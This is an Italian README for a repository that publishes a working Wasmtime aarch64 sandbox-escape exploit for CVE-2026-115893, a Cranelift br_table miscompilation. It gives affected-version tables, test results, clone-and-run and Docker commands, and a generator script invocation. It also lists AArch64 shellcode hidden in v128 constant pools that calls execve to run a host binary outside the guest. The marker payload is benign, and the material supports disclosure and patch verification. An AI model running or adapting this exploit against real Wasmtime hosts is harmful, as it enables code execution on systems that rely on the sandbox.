
CVE-2026-115893: exploit pubblico completo di sandbox-escape per Wasmtime aarch64 Cranelift br_table, PoV, note di calibrazione e prove di verifica.
Un exploit funzionante di completa sandbox escape, proof of vulnerability e pacchetto di verifica per CVE-2026-115893 — la miscompilazione br_table di Cranelift su aarch64 in Wasmtime.
CVE-2026-115893 è un bug di control-flow del compilatore nel backend Cranelift aarch64 di Wasmtime. Un br_table Wasm con un numero sufficiente di target produce un JTSequence il cui branch B.cond di default ha uno spostamento (displacement) al di fuori dell'intervallo di codifica del branch condizionale. L'offset va in wrap-around, quindi un modulo Wasm valido può saltare a un offset influenzato dall'utente all'interno del codice JIT.
Questo repository dimostra una fuga completa:
/usr/bin/touch e crea /tmp/wt-pwn al di fuori del guest.Il modulo non ha import e non utilizza WASI. Si tratta di esecuzione di codice host con i privilegi del processo Wasmtime, non automaticamente root.
Questa non è CVE-2026-115889. Quello è un bug separato di index-overflow di Cranelift il cui impatto riprodotto è un panic/DoS del compilatore.
| Intervallo di versioni | CVE-2026-115889 | CVE-2026-115893 (aarch64) |
|---|---|---|
<36.0.19 | Vulnerabile | Vulnerabile |
36.0.19 | Corretto | Corretto |
37.0.0–42.x | Vulnerabile | Vulnerabile |
43.0.0–48.0.6 | Corretto | Vulnerabile su aarch64 |
48.0.7 | Corretto | Corretto |
49.0.0–49.0.3 | Corretto | Vulnerabile fino alla 49.0.4 |
49.0.4+ | Corretto | Corretto |
Per questa CVE, utilizzare una release corretta dedicata: 49.0.4, 48.0.7 o 36.0.19.
| Ambiente | Wasmtime | Risultato |
|---|---|---|
| macOS 26.7.1 arm64, nativo | 49.0.3 | PASS 5/5: rc=0, marker creato |
| Container Linux arm64 | 49.0.3 | PASS 3/3: rc=0, marker creato |
| macOS arm64 | 49.0.4 | REJECT 3/3: rc=1, nessun marker |
| Container Linux arm64 | 49.0.4 | REJECT 3/3: rc=1, nessun marker |
| macOS arm64 | 49.0.3 | Controllo con 65.520 target: nessun marker |
| macOS arm64 | 49.0.4 | Controllo con 65.520 target: nessun marker |
L'exploit è deterministico sulla build testata. Non è indipendente dalla versione; build diverse di Wasmtime potrebbero richiedere una nuova taratura.

Figura 1. Container Linux arm64, Wasmtime 49.0.3. Il processo esce con 0 dopo che il payload crea /tmp/wt-pwn al di fuori del guest.

Figura 2. Wasmtime 49.0.4 rifiuta un br_table generico con 100.000 target al limite implementativo di 65.520 target. Questo modulo generico non è il modulo exploit; illustra il confine corretto.
objdump per l'ispezione dei branch target;Binari di release e SHA-256:
macOS 49.0.3 fec6a4ca5e4310210b2feaea32179cfb51a40ab20eef48ec2345a61a3856002d
macOS 49.0.4 f5a9a33d7df600927ec2b4544cb6270cfcfbe5a7acaeb90952be39cd2584dda4
Linux 49.0.3 ffb2b17b12f6b43e6de3aab08f02269ca7cb481663e0cb189e256e9198bac770
Linux 49.0.4 7ff3862b2dee59318218c2dafd87650faf7840db2c21889b62535e9d0e7273ba
Nomi dei tarball:
wasmtime-v49.0.3-aarch64-macos.tar.xz
wasmtime-v49.0.4-aarch64-macos.tar.xz
wasmtime-v49.0.3-aarch64-linux.tar.xz
wasmtime-v49.0.4-aarch64-linux.tar.xz
Hash dei moduli:
macOS lab/jit-escape.wat 7cfe90b1fede88966df0330389967f27ff4e2a644e27ebac66e913fa299fc556
Linux lab/jit-escape-linux.wat 299e585a3e96f311331e729f0786d5e2b7eb5f017bd0870180cc5365e0e88d25
git clone https://github.com/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape.git
cd cve-2026-115893-wasmtime-sandbox-escape
export WASMTIME_VULN=/path/to/wasmtime-v49.0.3-aarch64-macos/wasmtime
export WASMTIME_FIXED=/path/to/wasmtime-v49.0.4-aarch64-macos/wasmtime
./scripts/verify-macos.sh
Esecuzione manuale:
"$WASMTIME_VULN" --version
rm -f /tmp/wt-pwn
"$WASMTIME_VULN" run --invoke pwn lab/jit-escape.wat
echo "rc=$?"
ls -l /tmp/wt-pwn
Expected:
rc=0
-rw-r--r-- ... /tmp/wt-pwn
Non viene prodotto alcun stdout o stderr; execve sostituisce il processo Wasmtime. Il
payload crea solo /tmp/wt-pwn.
git clone https://github.com/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape.git
cd cve-2026-115893-wasmtime-sandbox-escape
export WASMTIME_VULN=/path/to/wasmtime-v49.0.3-aarch64-linux/wasmtime
export WASMTIME_FIXED=/path/to/wasmtime-v49.0.4-aarch64-linux/wasmtime
./scripts/verify-linux.sh
Esempio di container:
cp -R "$PWD" /tmp/cve-2026-115893-wasmtime-sandbox-escape
docker run --rm --platform linux/arm64 --entrypoint sh \
-v /tmp/cve-2026-115893-wasmtime-sandbox-escape:/work:ro \
-v /path/to/wasmtime-v49.0.3-aarch64-linux:/wasmtime:ro \
debian:bookworm-slim -lc '
rm -f /tmp/wt-pwn
/wasmtime/wasmtime run --invoke pwn /work/lab/jit-escape-linux.wat
echo "rc=$?"
ls -l /tmp/wt-pwn
'
rm -f /tmp/wt-pwn
"$WASMTIME_FIXED" run --invoke pwn lab/jit-escape.wat
echo "rc=$?"
test -e /tmp/wt-pwn; echo "marker_exists=$?"
Expected:
rc=1
Unsupported feature: `br_table` has 524255 targets, which exceeds the
implementation limit of 65520
marker_exists=1
L'esecuzione fissa su Linux rifiuta 524.252 target.
Stesso payload con 65.520 target:
python3 poc/gen_jit_escape.py 65520 > /tmp/small.wat
rm -f /tmp/wt-pwn
"$WASMTIME_VULN" run --invoke pwn /tmp/small.wat
echo "rc=$?"
test -e /tmp/wt-pwn; echo "marker_exists=$?"
Previsto: rc=0, nessun marker. Le costanti v128 e lo shellcode da soli non creano il file; è necessaria la tabella sovradimensionata.
Modificare il conteggio target rispetto al pool (n=524254) fa sì che il branch atterri
su 0x4c, vada in crash e non crei alcun marker.
(module
(memory 16)
(func $sc (param i32) (v128.store ...)) ; payload pool
(func $f (param i32) (br_table ...)) ; oversized switch
(func (export "pwn") (call $f (i32.const N)))
)
sc non viene mai chiamato. Le sue costanti v128 vengono compilate in un pool di letterali eseguibile .text. I byte sono shellcode AArch64.
Per la build macOS testata con n=524255:
f inizia vicino a 0xa0;JTSequence si trova in b4/b8;b.hs compilato in modo errato è 0x50, il primo byte del pool;pwn chiama f con il selettore che prende il branch di default.Il pool viene eseguito:
adr x0, path
adr x3, arg
adr x4, arg
sub sp, sp, #0x40
stp x0, x3, [sp]
stp xzr, xzr, [sp, #0x10]
mov x1, sp
mov x2, xzr
mov x16, #59 ; macOS execve
svc #0x80
brk #0x43
La variante Linux usa svc #0 e il numero di syscall Linux execve. Il suo
conteggio target è 524.252 perché il prologo non-PAC colloca il pool in 0x40.